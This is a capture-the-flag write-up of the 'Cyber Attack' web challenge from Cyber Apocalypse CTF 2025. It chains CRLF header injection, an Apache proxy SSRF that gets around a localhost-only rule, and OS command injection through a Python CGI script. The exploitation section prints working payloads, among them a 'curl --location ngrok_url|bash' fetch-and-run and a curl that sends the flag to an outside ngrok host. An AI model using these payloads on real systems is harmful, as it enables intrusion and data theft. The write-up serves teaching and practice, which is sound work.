🌐 Cyber Attack
A detailed write-up of the Web challenge 'Cyber Attack' from Cyber Apocalypse CTF - 2025
📊 Challenge Overview
Category Details Additional Info 🏆 Event Cyber Apocalypse CTF - 2025 Event Link 🔰 Category Web 🌐 💎 Points 975 Out of 500 total ⭐ Difficulty 🟢 Easy Personal Rating: 4/10 👤 Author Unknown Profile 🎮 Solves (At the time of flag submission) 350 solve rate 📅 Date 25-03-2025 Cyber Apocalypse CTF - 2025 🦾 Solved By mH4ck3r0n3 Team: QnQSec
📝 Challenge Information
Welcome, Brave Hero of Eldoria. You’ve entered a domain controlled by the forces of Malakar, the Dark Ruler of Eldoria. This is no place for the faint of heart. Proceed with caution: The systems here are heavily guarded, and one misstep could alert Malakar’s sentinels. But if you’re brave—or foolish—enough to exploit these defenses, you might just find a way to weaken his hold on this world. Choose your path carefully: Your actions here could bring hope to Eldoria… or doom us all. The shadows are watching. Make your move.
🎯 Challenge Files & Infrastructure
Provided Files
Files:
🔍 Initial Analysis
First Steps
Initially, the website appears as follows:
I didn’t find much of interest here, so I moved on to reading the attached files. The first thing I noticed is that it’s an
Apache
server due to theapache
directory, where I found theapache2.conf
configuration file inside:
1 2 3 4 5 6 7 8 9
ServerName CyberAttack AddType application/x-httpd-php .php <Location "/cgi-bin/attack-ip"> Order deny,allow Deny from all Allow from 127.0.0.1 Allow from ::1 </Location>
Inside, I found the following lines. The one we’re interested in is the
Location
declaration, which specifies who can access a particular route. In this case,/cgi-bin/attack-ip
. Adeny
is applied to everyone exceptlocalhost
, both inIPv4
andIPv6
. So we know that if we try to access the/cgi-bin/attack-ip
route, we will get a403 Forbidden
error since we are not authorized to access it. Next, I moved on to analyzing theDockerfile
andentry.sh
because in the Dockerfile, I found the following line that executes the aforementioned script:
1 2
# Command to run entry script CMD ["./entry.sh"]
In the script, only
supervisord
is started, which is a process control system, and I also found the following line that suggests where the flag will be located on the server:
1
mv /flag.txt /flag-$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 15).txt
which suggests that we will most likely need to achieve an RCE or OS Command Injection to read it. As we can see, the following line uses the Linux
urandom
device, which literally generatesrandom junk
. So, the flag will be in the/
directory under the nameflag-random_junk.txt
, apparently. Now we can analyzeindex.php
, which is located in therpgui
directory:
1 2 3 4 5 6
// Check if the user's IP is local const isLocalIP = (ip) => { return ip === "127.0.0.1" || ip === "::1" || ip.startsWith("192.168."); }; // Get the user's IP address const userIP = "<?php echo $_SERVER['REMOTE_ADDR']; ?>";
The first lines, without reporting them all, essentially check the IP accessing the
index.php
page. If it’s not alocal
IP, the button to executeattack-ip
is disabled (it’s useless to try enabling it since, as we saw inapache2.conf
, we will get aForbidden
). Then, injs
, an event listener is added to the two buttons we see in theSite Presentation
screenshot, namely:Attack a Domain
andAttack an IP
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
// Attack Domain Button Click Handler document.getElementById("attack-domain").addEventListener("click", async () => { const target = document.getElementById("target").value; const name = document.getElementById("user-name").value; if (target) { window.location.href = `cgi-bin/attack-domain?target=${target}&name=${name}`; } }); // Attack IP Button Click Handler document.getElementById("attack-ip").addEventListener("click", async () => { const target = document.getElementById("target").value; const name = document.getElementById("user-name").value; if (target) { window.location.href = `cgi-bin/attack-ip?target=${target}&name=${name}`; } });
As we can see, respectively,
attack-ip
orattack-domain
is called under thecgi-bin/attack-*
route, and two parameters are passed:target
andname
. So, right after, I moved on to analyzing the files under thesrc/cgi-bin
directory:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
#!/usr/bin/env python3 import cgi import os import re def is_domain(target): return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target) form = cgi.FieldStorage() name = form.getvalue('name') target = form.getvalue('target') if not name or not target: print('Location: ../?error=Hey, you need to provide a name and a target!') elif is_domain(target): count = 1 # Increase this for an actual attack os.popen(f'ping -c {count} {target}') print(f'Location: ../?result=Succesfully attacked {target}!') else: print(f'Location: ../?error=Hey {name}, watch it!') print('Content-Type: text/html') print()
Apparently, it’s a
Python
script. A regex check is performed to see if the target we pass as a parameter is a domain. That regex indicates that the target cannot start or end with-
. It must have only theTLD (Top Level Domain)
, so we cannot send targets likeexample.a.net
as we will be blocked. Finally, only alphanumeric characters are allowed in the domain, while only letters are allowed in theTLD
. Most likely, this is a web application that simulates some sort ofDoS (Denial of Service)
attack scenario. In fact, if we pass all the checks,ping
is executed withcount=1
, meaning only oneICMP (Internet Control Message Protocol)
packet will be sent to the target we enter. Let’s analyzeattack-ip
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#!/usr/bin/env python3 import cgi import os from ipaddress import ip_address form = cgi.FieldStorage() name = form.getvalue('name') target = form.getvalue('target') if not name or not target: print('Location: ../?error=Hey, you need to provide a name and a target!') try: count = 1 # Increase this for an actual attack os.popen(f'ping -c {count} {ip_address(target)}') print(f'Location: ../?result=Succesfully attacked {target}!') except: print(f'Location: ../?error=Hey {name}, watch it!') print('Content-Type: text/html') print()
As we can see, almost the same things are done. However, there is no regex check here, and we have more freedom in entering the target field, so it will probably be an
SSRF (Server-Side Request Forgery)
to bypass theApache
configuration, and then withattack-ip
, anOS Command Injection
will be exploited since we have more freedom. However, as we can see, the functionip_address(target)
is used. This function ensures that what is passed as a target is anIPv4
or anIPv6
; otherwise, an exception is generated. Let’s move on to the exploitation phase since we have done quite an in-depth analysis.
🔬 Vulnerability Analysis
Potential Vulnerabilities
- CRLF (Carriage Return Line Feed) Injection
- HTTP Request Smuggling
- HTTP Response Splitting
- SSRF (Server Side Request Forgery)
- 403 Bypass
- OS Command Injection
🎯 Solution Path
Exploitation Steps
Initial setup
The first thing to understand is how to access the
attack-ip
resource to test forOS Command Injection
and read the flag. One thing I omitted in the analysis but discovered later is that theprint()
statements pass theHTTP
responseHeaders
. So, there is likely a chain of three vulnerabilities here, including anHTTP Request Smuggling via CRLF
.
ACRLF (Carriage Return Line Feed) Injection
allows inserting a literal carriage return line feed (\r\n
) in the response. This enables us to create a line break in the headers and define additionalheaders
, effectively performing aheader injection
, as we can insert anything we want.
Therefore, to accessattack-ip
, we can send the following parameter:
1
name = "a\r\nHeaders..."
The HTTP response will contain two or more headers, exploiting “Response Splitting” and considering the last assigned header as valid. I built the following payload by setting an invalid target, such as
target=-
:
1
name = a\r\nLocation: /a\r\nContent-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?target=&name\r\n\r\n
This allows me to access the
attack-ip
resource through theproxy
header since the server will assume the request originates from127.0.0.1
. However, this is not fully complete… let’s move on to the next phase.
Exploitation
Now we need to add the
OS Command Injection
. We need to read the flag, so we will inject a command likecat /flag*
since we don’t know the flag name due tourandom
. However, remember that thetarget
parameter is passed to theip_address
function, and we need to send the output of the command to our webserver, as the command is executed on the server and we can’t directly read it. So, first, I start ngrok and a Python server in the folder I want to host where I’ll insert the payload (which I’ll describe later):
1 2
ngrok http 8080 python3 -m http.server 8080
I will use this webserver to send the flag to me as a parameter. However, studying the
ip_address
function, I found out that inserting characters like/
will cause an exception. So I found a way to bypass this. With curl, it’s possible to make a request without specifying the schema:
1
curl ngrok_url
But this request will redirect us to
https://ngrok_url
, so I thought I would need to follow the redirect. After trying a few times, I found a bypass: with the-L
option, it’s possible to follow redirects. But, of course, when entering anurl
, the-L
option gets converted to-l
(lowercase) and won’t work. So, I found another lowercase option for curl to follow redirects, namely--location
. After a couple more tests, I discovered that theip_address
function seems to only check if there is a validip
in the string and not the rest, so I created the following payload:
1
target=::1%$(whoami)127.0.0.1&name=\r\n\r\n
As we can see, the
whoami
command gets executed, and I correctly get theOS Command Injection
. I use%
for proper concatenation since the target needs to be valid (::1%Command Injection
). Additionally, we know that in Python, strings are concatenated with+
, so it’s used in the final payload. Furthermore, in the final payload, I created anindex.html
file with the injection to redirect me the output of the command execution. In fact, in theindex.html
file, I inserted:
1
curl https://ngrok_url/?flag=$(cat /flag*)
This way, through the
SSRF
, I make a GET request to my webserver where I serveindex.html
. The server takes the text content ofindex.html
, and then with theOS Command Injection
, I pass the content tobash
through the pipe|
, which in bash takes the output of one command and uses it as input for another command. I hope I explained everything correctly ^^’. To recap, I have myngrok
webserver, where I modify the main page in the payload that we will pass to bash to execute the command inside it. Next, I useCRLF
to craft a request (SSRF
) that usesos.popen()
fromattack-ip
to injectcurl --location ngrok_url|bash
towards my webserver, which will cause the remote server to make another request to my webserver with the output of thecat /flag*
command. The final payload is built as follows (written in Python):
1 2 3 4
params = { "target": "-", "name": f"a\r\nLocation: /a\r\nContent-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?target=::1%$(curl+--location+ngrok_url|bash)127.0.0.1&name=\r\n\r\n" }
Of course, some characters need to be URL encoded, forming the final link (note that the ngrok URL must be entered without the
http
orhttps
schema!):
1
http://94.237.60.20:33181/cgi-bin/attack-domain?target=-&name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(curl%2b%2D%2Dlocation%2bca36-2-37-164-7.ngrok-free.app|bash)127.0.0.1%26name=%0d%0a%0d%0a
Once I visited the page, on ngrok, I received two requests: the first one is to the
index.html
page that contains the payload to read the flag, and the second is where I sent the output of the command used in theindex.html
payload (cat /flag*
) to read the flag. So, by looking at the second request, in theflag
parameter, I found the flag.
Flag capture
Of course, it is necessary to reconstruct it with the correct format
HTB{.*}
.
🛠️ Exploitation Process
Approach
In the automatic exploit with
server.py
, I initialize my web server with which I will receive the flag and serve the payload. From the same script, via multithreading, I will executeexploit.py
, which will send the request to the remote server, exploiting the vulnerability. The rest of the process is identical to what was done manually. To replicate and execute the exploit, you just need to set the challenge URL in theexploit.py
file and runserver.py
.
🚩 Flag Capture
FlagHTB{h4ndl1n6_m4l4k4r5_f0rc35}
Proof of Execution
🔧 Tools Used
Tool Purpose Python Exploit
💡 Key Learnings
New Knowledge
I learned how to build a request even with the filter of the
ip_address
function usingcurl
.
Time Optimization
When HTTP headers are found in attached files, always consider a
CRLF
.
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
📚 References & Resources
Learning Resources
📊 Final Statistics
Metric | Value | Notes |
---|---|---|
Time to Solve | 00:45 | From start to flag |
Global Ranking (At the time of flag submission) | 16/8011 | Challenge ranking |
Points Earned | 975 | Team contribution |
Created: 25-03-2025 • Last Modified: 25-03-2025 Author: mH4ck3r0n3 • Team: QnQSec